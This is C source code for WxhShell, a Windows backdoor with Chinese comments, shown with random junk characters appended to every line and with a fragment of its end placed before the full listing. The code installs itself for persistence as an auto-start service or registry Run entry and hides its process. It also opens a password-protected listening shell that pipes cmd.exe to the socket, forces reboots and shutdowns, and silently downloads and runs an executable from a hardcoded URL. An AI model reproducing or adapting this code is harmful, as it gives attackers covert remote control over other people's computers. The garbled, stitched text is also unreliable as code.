    if(Boot(SHUTDOWN)) #X?#v7i",D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?#J`?E  
    else { ? IHa>f:  
    closesocket(wsh); MY `V0  
    ExitThread(0); V]I+>Zn| 7  
    } ??tNMr5{[  
    break; K$(LiP  
    } s@c.nT%BYL  
  // 获取shell ); <Le6  
  case 's': { zBd)E21H  
    CmdShell(wsh); _onEXrM  
    closesocket(wsh); >s+TD4OfY  
    ExitThread(0); 1}"PLq(  
    break; V)g{ Ew]:  
  } 9?~K"+-SI  
  // 退出 6V@?/B  
  case 'x': { ?}g#Mc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z'+k]N9Q^  
    CloseIt(wsh); eED@Z/~6  
    break; Kc[Y .CH  
    } #(KE9h%  
  // 离开 _YM]U`*  
  case 'q': { ;YK{[$F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >'GQB  
    closesocket(wsh); 7w]NG`7  
    WSACleanup(); }qhNz0*  
    exit(1); 1FQ_`wF4  
    break; "Yu';&  
        } e}Xmb$  
  } A>dA&'~R  
  } kbF+aS  
lq%6~va  
  // 提示信息 gvx {;e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _g#v*7o2@  
} ~^u#Q\KE"  
  } <h"*"q|9  
|Q _]+[  
  return; HECZZnM  
} r{~@hd'Aj  
y$n`+%_  
// shell模块句柄 O%n=n3  
int CmdShell(SOCKET sock) DKGZm<G>  
{ 9:l@8^_o  
STARTUPINFO si; R6KS&Ge_  
ZeroMemory(&si,sizeof(si)); ==z,vxr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;:)?@IuSy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JG=U@I]  
PROCESS_INFORMATION ProcessInfo; h+rrmC  
char cmdline[]="cmd"; [,1\>z|&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0,x<@.pW  
  return 0; 'Oe}Ja  
} vKvT7Zxc  
/EpsJb`kj  
// 自身启动模式 4}\Dr %US  
int StartFromService(void) zwyK \j  
{ H!+T2<F9R  
typedef struct w[V71Iej  
{ b&$sY!iU  
  DWORD ExitStatus; GG@&jcp7  
  DWORD PebBaseAddress; *7yu&a8  
  DWORD AffinityMask; %+y92'GqG/  
  DWORD BasePriority; N))G/m3  
  ULONG UniqueProcessId; ;| :^zo  
  ULONG InheritedFromUniqueProcessId; ayb fBC  
}   PROCESS_BASIC_INFORMATION; Dm.tYG  
u0vq`5L  
PROCNTQSIP NtQueryInformationProcess; MiX*PqNTM  
ct3^V M&/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =h{j F7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X!w&ib-  
c G`R\ $  
  HANDLE             hProcess; du:%{4  
  PROCESS_BASIC_INFORMATION pbi; GGY WvGE+  
*A,h ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uk(|c-_]~c  
  if(NULL == hInst ) return 0;  !AGjiP$  
E2D}F@<]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h 'F\9t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ny. YkN2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !VfP#B6.  
Cy~Pfty  
  if (!NtQueryInformationProcess) return 0; O\(0{qu  
@%5$x]^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?oc#$fcQ~  
  if(!hProcess) return 0; t*&O*T+fgy  
>**7ck  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A+N%A] 2  
|Ir&C[QS{y  
  CloseHandle(hProcess); )^C w  
U6pG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )ww#dJn  
if(hProcess==NULL) return 0; h!"| Q"18  
zoU-*Rs6  
HMODULE hMod; -zq_W+)ks  
char procName[255]; @AgV7#  
unsigned long cbNeeded; 7:h8b/9  
QF7iU@%-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F^v <z)x  
Zu$30&U  
  CloseHandle(hProcess); j;|rI`67~  
f~LM-7!zf}  
if(strstr(procName,"services")) return 1; // 以服务启动 HZ#<+~J  
f_&bwfbo  
  return 0; // 注册表启动 {y[T3(tt  
} +])St3h  
SRixT+E  
// 主模块 #hOAG_a,  
int StartWxhshell(LPSTR lpCmdLine) sKkk+-J4  
{ {M5[gr%  
  SOCKET wsl; W+'|zhn  
BOOL val=TRUE; #Zm%U_$<  
  int port=0; \*5_gPj!d  
  struct sockaddr_in door; T =l4Vb{>  
j>5D4}*]f  
  if(wscfg.ws_autoins) Install(); L b'HM-d  
zdwr5k  
port=atoi(lpCmdLine); )T=cd   
;34 m!\N5  
if(port<=0) port=wscfg.ws_port; vB:_|B  
,DHiM-v  
  WSADATA data; k lRS:\dW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K'`N(WiL  
Dt9[uyP&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   azj:Hru&t#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jH1!'1s|  
  door.sin_family = AF_INET; c&+p{hH+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X\I"%6$  
  door.sin_port = htons(port); drJ<&1O  
Uv(THxVh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SLa\F  
closesocket(wsl); 2xchjU-  
return 1; %D(% lh2  
} oM=Ltxv}  
xJvM l`2;  
  if(listen(wsl,2) == INVALID_SOCKET) { QT5,_+ho  
closesocket(wsl); v$O%U[e<  
return 1; \` |*i$  
} A&$oiLc  
  Wxhshell(wsl); `g;`yJX<  
  WSACleanup(); H)s$0Xd  
L y!!+UM\  
return 0; {jOCz1J  
e7j3 0Iy  
} PTu~PVbp4  
;+dB-g[  
// 以NT服务方式启动 >taC_f06  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #gw ys  
{ hJ+;N  
DWORD   status = 0; ;_yp@.,\T  
  DWORD   specificError = 0xfffffff; l3sL!D1u  
!$:lv)y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '$]u?m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PQmgv&!DP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; 7`y##  
  serviceStatus.dwWin32ExitCode     = 0; m)A~1+M$)L  
  serviceStatus.dwServiceSpecificExitCode = 0; "Q:m0P xb  
  serviceStatus.dwCheckPoint       = 0; lbw*T  
  serviceStatus.dwWaitHint       = 0; n]/7UH}(<&  
(z}q6Lfa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~*|0yPFg  
  if (hServiceStatusHandle==0) return; >f [Lb|t  
 )"im|9  
status = GetLastError(); vwZrvjP2  
  if (status!=NO_ERROR) -?A,N,nnX  
{ < c[+60p"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #6[7q6{ 4  
    serviceStatus.dwCheckPoint       = 0; ,&II4;F  
    serviceStatus.dwWaitHint       = 0; !<wM?Q:  
    serviceStatus.dwWin32ExitCode     = status; hhTM-D1Ehs  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mh04O@"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &></l| hY  
    return; !$&3h-l[  
  } n\Z& sc  
]%yph3C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FbMX?T"yH  
  serviceStatus.dwCheckPoint       = 0; ,[To)x5o  
  serviceStatus.dwWaitHint       = 0; a *n^(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N7=L^]  
} By|y:  
c=U1/=R5  
// 处理NT服务事件,比如:启动、停止 1M|DaAI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4s?x 8oAy  
{ -r9G5Z!|n  
switch(fdwControl) x0ZEVa0`4  
{ F2 /-Wk@  
case SERVICE_CONTROL_STOP: Rc2|o.'y  
  serviceStatus.dwWin32ExitCode = 0; w l.#{@J]<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A$K>:Tt>  
  serviceStatus.dwCheckPoint   = 0; (fc /"B-  
  serviceStatus.dwWaitHint     = 0; 0jY#,t?>  
  { 8Y.25$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ORPQ1%tu  
  } 3,@I` M  
  return; KGCm@oy  
case SERVICE_CONTROL_PAUSE: 2TN+ (B#Z!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k<xiP@b{y  
  break; 4{Vw30DZ  
case SERVICE_CONTROL_CONTINUE: ,t4g^67R{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sri,sZv  
  break; 7/.-dfEK  
case SERVICE_CONTROL_INTERROGATE: u:+wuyu  
  break; eMPk k=V  
}; gl/n*s#r_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *5$$C&@o9  
} M<t>jM@'A#  
8y!d^EQ  
// 标准应用程序主函数 0*66m:C2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Z^t^ O  
{ w$~|/UrLf  
$`:/O A<.  
// 获取操作系统版本 gf `uC0  
OsIsNt=GetOsVer(); p&w XRI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <(Ub(  
mmrx*sr=  
  // 从命令行安装 =W1`FbR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3lc'(ts %  
xU/Eu;m  
  // 下载执行文件 w(kN0HD  
if(wscfg.ws_downexe) { ;m{*iKL6{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9W ng(ef6G  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q ^%+r"h  
} @\ip?=  
U[\aj;g)  
if(!OsIsNt) { YKwej@9,  
// 如果时win9x,隐藏进程并且设置为注册表启动 <r (Y:2  
HideProc(); S$q:hXZ#e  
StartWxhshell(lpCmdLine); g>h5NrD N  
} jHPJk8@y  
else #/'5N|?  
  if(StartFromService()) sidSY8j  
  // 以服务方式启动 ar.w'z  
  StartServiceCtrlDispatcher(DispatchTable); 7dl]f#uZU  
else JV|GE n\@N  
  // 普通方式启动 C<CE!|sfr  
  StartWxhshell(lpCmdLine); k$nQY  
RsJj*REO  
return 0; o/E A%q1  
} 8UArl3  
,5" vzGLJ  
=:rR%L!a  
0Zkb}F2-  
=========================================== ~8AcW?4Z  
Gd$odKtI  
+:4J~Cuf  
5?),6o);  
yW.s?3X  
T"Ph@I<  
" $\>GQ~k  
p:u?a,p  
#include <stdio.h> Q7O8']~n  
#include <string.h>  ?C   
#include <windows.h> GH2D5HVN  
#include <winsock2.h> ai% fj*  
#include <winsvc.h> '`^<*;w  
#include <urlmon.h> BBy"qkTe  
1bb~u/jU  
#pragma comment (lib, "Ws2_32.lib") :. B};;N  
#pragma comment (lib, "urlmon.lib")  ]qCAog  
U@v=q9'W  
#define MAX_USER   100 // 最大客户端连接数 y?W8FL  
#define BUF_SOCK   200 // sock buffer d_BO&k<+I  
#define KEY_BUFF   255 // 输入 buffer rt] @Z`w  
[nBlHI;&  
#define REBOOT     0   // 重启 mT\!LpX  
#define SHUTDOWN   1   // 关机 V2kNJwwk  
k WYjqv  
#define DEF_PORT   5000 // 监听端口 ~JY<DW7  
zm rQ7(y  
#define REG_LEN     16   // 注册表键长度 c#+JG  
#define SVC_LEN     80   // NT服务名长度 =BpX;n <  
HaI  
// 从dll定义API /C29^P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Mbpv)V8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #imMkvx?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {,p<!Jq~G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qy6zHw  
b`E'MX_ m  
// wxhshell配置信息 3e$&rpv  
struct WSCFG { yjZxD[ Z  
  int ws_port;         // 监听端口 \3w=')({  
  char ws_passstr[REG_LEN]; // 口令 n'ft@7>%h  
  int ws_autoins;       // 安装标记, 1=yes 0=no X"<t3l(+  
  char ws_regname[REG_LEN]; // 注册表键名 d V#h~  
  char ws_svcname[REG_LEN]; // 服务名 g]O"l?xx1D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;bq_Y/"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )6dvWK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %76N$`{u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n\ aG@X%oq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f,z_|e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }./__gJ  
9/ R|\  
}; OpmI" 4{+  
8E{<t}  
// default Wxhshell configuration @%@uZqQ4  
struct WSCFG wscfg={DEF_PORT, ;cIs$  
    "xuhuanlingzhe", ;Ad$Q9)EE  
    1, hp6S *d  
    "Wxhshell", /m%Y.:g  
    "Wxhshell", 1cWUPVQ  
            "WxhShell Service", jLc4D'  
    "Wrsky Windows CmdShell Service", XPE{]4 g  
    "Please Input Your Password: ", ?fcQd6-}  
  1, 5'gV_U  
  "http://www.wrsky.com/wxhshell.exe", 4' bup h1(  
  "Wxhshell.exe" |RX u O  
    }; x7 jE Ns )  
qazM@  
// 消息定义模块 :a(er'A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RVtb0FL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O7bTu<h=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e>1z1Q;_uv  
char *msg_ws_ext="\n\rExit."; SN O'*?  
char *msg_ws_end="\n\rQuit."; XJTY91~R  
char *msg_ws_boot="\n\rReboot..."; S{aK\>>H  
char *msg_ws_poff="\n\rShutdown..."; MDa 4U@Q  
char *msg_ws_down="\n\rSave to "; dN J2pfvv  
h{I)^8,M  
char *msg_ws_err="\n\rErr!"; DU#6%8~  
char *msg_ws_ok="\n\rOK!"; S !cc%  
U bT7  
char ExeFile[MAX_PATH]; KOVGwEj  
int nUser = 0; k2muHKBlk  
HANDLE handles[MAX_USER]; n%? bMDS  
int OsIsNt; HkFoyy  
!Z2?dhS  
SERVICE_STATUS       serviceStatus; :Zl@4}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uqPagt<  
S1NM9xHJ  
// 函数声明 !T02@e/  
int Install(void); @D&VOJV  
int Uninstall(void); 9/TF #  
int DownloadFile(char *sURL, SOCKET wsh); ;muxIr`?  
int Boot(int flag); , }O>,AU  
void HideProc(void); EQXvEJ^  
int GetOsVer(void); 8W Mhe=[  
int Wxhshell(SOCKET wsl); V~` ?J6  
void TalkWithClient(void *cs); XfmPq'#Z  
int CmdShell(SOCKET sock); }-9  
int StartFromService(void); smW 7zGE  
int StartWxhshell(LPSTR lpCmdLine); q-O=Em<*  
.4pWyqU)!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |T0jq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZAVjq;bq  
i E>E*!aBg  
// 数据结构和表定义 e*.l6H/B  
SERVICE_TABLE_ENTRY DispatchTable[] = 6VpT*,2d~  
{ ^6`"f  
{wscfg.ws_svcname, NTServiceMain}, f}b= FV{  
{NULL, NULL} F Cg{!h  
}; 9mfqr$3  
E'zLgU)r`  
// 自我安装 {(#Dou  
int Install(void) H'Q4IRT  
{ >QV=q`I  
  char svExeFile[MAX_PATH]; LO0<=4iN(  
  HKEY key; h-<2N)>!  
  strcpy(svExeFile,ExeFile); :786Z,')  
-t2bHhG  
// 如果是win9x系统,修改注册表设为自启动 zts%oIgV  
if(!OsIsNt) { HM ;9%rtO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Svj%O(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @DG$  
  RegCloseKey(key); 6Pc3;X~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aaW(S K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6tBL?'pG  
  RegCloseKey(key); /9<zG}:B  
  return 0; C5GO?X2  
    } Ge=+ 0W)&  
  } (<!Yw|~  
} jC7`_;>=  
else { YNV4w{>FD  
)OxcJPo  
// 如果是NT以上系统,安装为系统服务 -@f5d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eSNi6RvE  
if (schSCManager!=0) '=}F}[d"kk  
{ J P'|v"  
  SC_HANDLE schService = CreateService v1wMXOR  
  ( X@JrfvKv[d  
  schSCManager, Kk|uN#m  
  wscfg.ws_svcname, n 5h4]u  
  wscfg.ws_svcdisp, Lq.aM.&;#  
  SERVICE_ALL_ACCESS, ibo{!>m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FY h+G-Y#  
  SERVICE_AUTO_START, ^\:"o  
  SERVICE_ERROR_NORMAL, udYk 6  
  svExeFile, $6Z@0H@X  
  NULL, 9M{z@H/  
  NULL, 53X H|Ap  
  NULL, X;/~d>@  
  NULL, 60?/Z2w5  
  NULL 2;N)>[3*J  
  ); v;4l*)$)  
  if (schService!=0) (F9U`1~4  
  { -)_"7}|u5  
  CloseServiceHandle(schService); seO7/h_a  
  CloseServiceHandle(schSCManager); f&x7g.I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <RQ\nU  
  strcat(svExeFile,wscfg.ws_svcname); J_) .Hd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d 2f   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bbk=0+ ^8I  
  RegCloseKey(key); I\eM8`Y$  
  return 0; 2 )oT\m  
    } Kppi N+||  
  } %!Z9: +;B  
  CloseServiceHandle(schSCManager); {x$WBy9  
} <2Q+? L{  
} 1#BMc%  
;#a^M*e  
return 1; zyb>PEd.  
} znm3b8ns  
RQ}0f5~t  
// 自我卸载 6Ap-J~4  
int Uninstall(void) q5<'pi   
{ BVAxeXO  
  HKEY key; (/6~*<ZGT  
8XFs)1s[  
if(!OsIsNt) { q^5j&jx Vl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pyfj[m4+}  
  RegDeleteValue(key,wscfg.ws_regname); RJ+i~;-  
  RegCloseKey(key); @,btQ_'X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fo  K!JX*  
  RegDeleteValue(key,wscfg.ws_regname); X.^S@3[  
  RegCloseKey(key); >9F&x>~  
  return 0; UbDRzum  
  } $2lrP]`>j.  
} 4O}ZnE1[  
} 3^NHV g  
else { BC|=-^(  
h+ixl#:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x93t.5E6  
if (schSCManager!=0) yb{ud  
{ 1nHQ)od  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n."vCP}O+  
  if (schService!=0) iKs @oHW  
  { AXbDCDA  
  if(DeleteService(schService)!=0) { @K{1O|V  
  CloseServiceHandle(schService); %#5yC|o9Pn  
  CloseServiceHandle(schSCManager); (t$jb |Oa  
  return 0; 3-^z<*  
  } !$}:4}56F  
  CloseServiceHandle(schService); <UI^~Azc#  
  } |]s/NNU  
  CloseServiceHandle(schSCManager); 9eG{"0)  
} s.VtmAH  
} l-?B1gd,l  
of?hP1kl[  
return 1; K9\p=H^T7  
} }.+{M.[}  
wrtJ8O(  
// 从指定url下载文件 -B+Pl*  
int DownloadFile(char *sURL, SOCKET wsh) ~cC =DeX  
{ SxyXz8+e[  
  HRESULT hr; ^t X}5i`P  
char seps[]= "/"; # !:u*1  
char *token; |a||oyrN  
char *file; &~9'7 n!  
char myURL[MAX_PATH]; e+`LtEve0  
char myFILE[MAX_PATH]; .x6c.Y.S  
#J4{W84B  
strcpy(myURL,sURL); W|C>X=zTi  
  token=strtok(myURL,seps); ^r4@C2#vzJ  
  while(token!=NULL) l~_] k  
  { SQ$|s%)oB  
    file=token; c*fMWtPp  
  token=strtok(NULL,seps); d2cslD d  
  } ,# i@jB  
T9&-t7:  
GetCurrentDirectory(MAX_PATH,myFILE); 5~BM+ja  
strcat(myFILE, "\\"); $@WqM$  
strcat(myFILE, file); .X2fu/}  
  send(wsh,myFILE,strlen(myFILE),0); . }#R  
send(wsh,"...",3,0); Gcu[G]D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p]z< 43O$  
  if(hr==S_OK) HhZlHL  
return 0; ~f:y^`+Q[  
else "e)C.#3  
return 1; b-'T>1V  
k&oq6!ix  
} o p{DPUO0  
aHhr_.>X  
// 系统电源模块 yf 7Sz$Eq  
int Boot(int flag) ">-J+ST%  
{ */8b)I}yY  
  HANDLE hToken; OD;-0Bj  
  TOKEN_PRIVILEGES tkp; ?o0ro?9j  
k4@$vxy0  
  if(OsIsNt) { yaDK_fk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _BC%98:WP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ln&'5D#  
    tkp.PrivilegeCount = 1; G0e]PMeFl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 06)B<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q4Rvr[  
if(flag==REBOOT) { 1$+-?:i C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r2t|,%%N7  
  return 0; )Id.yv}_  
} QYS 1.k  
else { zc1y)s0G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NA=I7I@  
  return 0; !PAuMj)P  
} 6!QY)H^j9,  
  } /=y _ #l  
  else { ( vO\h8  
if(flag==REBOOT) { ca@?-)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8ch^e[U`  
  return 0; j@ehcK9|  
} lMn1e6~K  
else { h vC gd^M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KR49Y>s<  
  return 0; d9qA\ [  
} cPx] :sC  
} s|cL mL[  
k'(d$;Jgr  
return 1; By&ibN),  
} v@qU<\Y>  
;$il_xA)\>  
// win9x进程隐藏模块 aAT!$0H  
void HideProc(void) 47/14rY 2  
{ +VE ] .*T  
{ /u}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q;h6F{i  
  if ( hKernel != NULL ) vV(?A  
  { }=7? & b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2:8p>^g=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CyHaFUbZ  
    FreeLibrary(hKernel); t_Q\uo}  
  } ~_XK<}SK  
h?D>Dfeg%  
return; $vC}Fq  
} &/\Q6$a  
l- mt{2  
// 获取操作系统版本 1xf Pe#  
int GetOsVer(void) NKX,[o1  
{ be->ofUYgs  
  OSVERSIONINFO winfo; $FJf8u`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  << XWL:  
  GetVersionEx(&winfo); 9ZYT#h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ntZl(]l  
  return 1; Y8s.Q  
  else K{vn[}  
  return 0; bE6:pGr  
} W Z_yaG$U  
&{gD(QG  
// 客户端句柄模块 l(B(gPvU  
int Wxhshell(SOCKET wsl) ab@1JAgs  
{ u]<_6;_  
  SOCKET wsh; +[lv `tr  
  struct sockaddr_in client; uE;bNs'  
  DWORD myID; o<\u Hr3  
rFJPeK7  
  while(nUser<MAX_USER) DI )!x {"  
{ t ;-U  
  int nSize=sizeof(client); X<8   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O8mmS!  
  if(wsh==INVALID_SOCKET) return 1; _U<r@  
E3~Wyfd7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x("V +y*  
if(handles[nUser]==0) 1SwKd*aRR?  
  closesocket(wsh); phc9esz  
else JNx;/6'd,  
  nUser++; x^959QO~  
  } ^sP-6 ^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "<=HmE-;  
|jhu  
  return 0; m\DI6O"u'  
} 0!5w0^1  
Vx#n0z  
// 关闭 socket ],l}J'.8<V  
void CloseIt(SOCKET wsh) eKv{N\E  
{ u$MXO].Q  
closesocket(wsh); 4\pUA4  
nUser--; Tw]].|^f-  
ExitThread(0); voitdz  
} L"(k;Mfe  
{kdS t1  
// 客户端请求句柄 >s;>"]  
void TalkWithClient(void *cs) mE)I(< %  
{ g~v>{F+u  
U(~d^9/#  
  SOCKET wsh=(SOCKET)cs; nvOJY6)$V  
  char pwd[SVC_LEN]; sVNM#,  
  char cmd[KEY_BUFF]; h3YWqSj  
char chr[1]; ?H0"*8C?Y  
int i,j; 5bHS|<  
gY/p\kwsj  
  while (nUser < MAX_USER) { tYzpL   
2l.qINyz  
if(wscfg.ws_passstr) { IPa)+ ZQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;%YAiW8{Xk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (DTXc2)c  
  //ZeroMemory(pwd,KEY_BUFF); of<(4<T  
      i=0; %-Oo9 2tP  
  while(i<SVC_LEN) { p O O4fc  
3o.9}`/  
  // 设置超时 i[N=.  
  fd_set FdRead; 0<$t9:dq  
  struct timeval TimeOut; nf,u'}psdJ  
  FD_ZERO(&FdRead); ~}@cSv'(1  
  FD_SET(wsh,&FdRead); [:"7B&&A  
  TimeOut.tv_sec=8; S uo  
  TimeOut.tv_usec=0; XR@C^d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {IG5qi?/E)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =P)H3|AdIm  
8;q2W F{AX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C9Xj)5k@R  
  pwd=chr[0]; 6 66f;h  
  if(chr[0]==0xd || chr[0]==0xa) { Og E<bw  
  pwd=0; vNIQ1x5Za  
  break; YCI- p p  
  } Pgo^$xn'6  
  i++; h3BDHz,  
    } qP4vH]  
6_a~ 4_#  
  // 如果是非法用户,关闭 socket EpdSsfDP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <UE-9g5?G  
} 3OvQ,^[J4  
2(s-8E:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t` f.HJe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Re]7G.y  
-8pQI  
while(1) { dOx0'q"Z  
/^9KZj  
  ZeroMemory(cmd,KEY_BUFF); fb;y*-?#  
yRtxh_wr9  
      // 自动支持客户端 telnet标准   6Sr}I,DG  
  j=0; cwC-)#R']  
  while(j<KEY_BUFF) { WcZck{ehd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o>?#$~XNv  
  cmd[j]=chr[0]; eUZvJTE  
  if(chr[0]==0xa || chr[0]==0xd) { Z+M* z;  
  cmd[j]=0; {<#~Ya-  
  break; >[&Zs3>  
  } 0$1-5XY9  
  j++; dHJ#xmE!pP  
    } *)0-N!N#)  
J<27w3bs~p  
  // 下载文件 }N`m7PSf  
  if(strstr(cmd,"http://")) { [~U CYYl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |4?O4QN  
  if(DownloadFile(cmd,wsh)) M.h8Kr!.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^N3Ma  
  else s;!Tz)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # *)X+*  
  } 9TZ4ffXV*  
  else { @q<F_'7is  
m |%ly  
    switch(cmd[0]) { l/:23\  
  Ow f:Kife  
  // 帮助 T/Fj0'  
  case '?': { ;lU]ilYv  
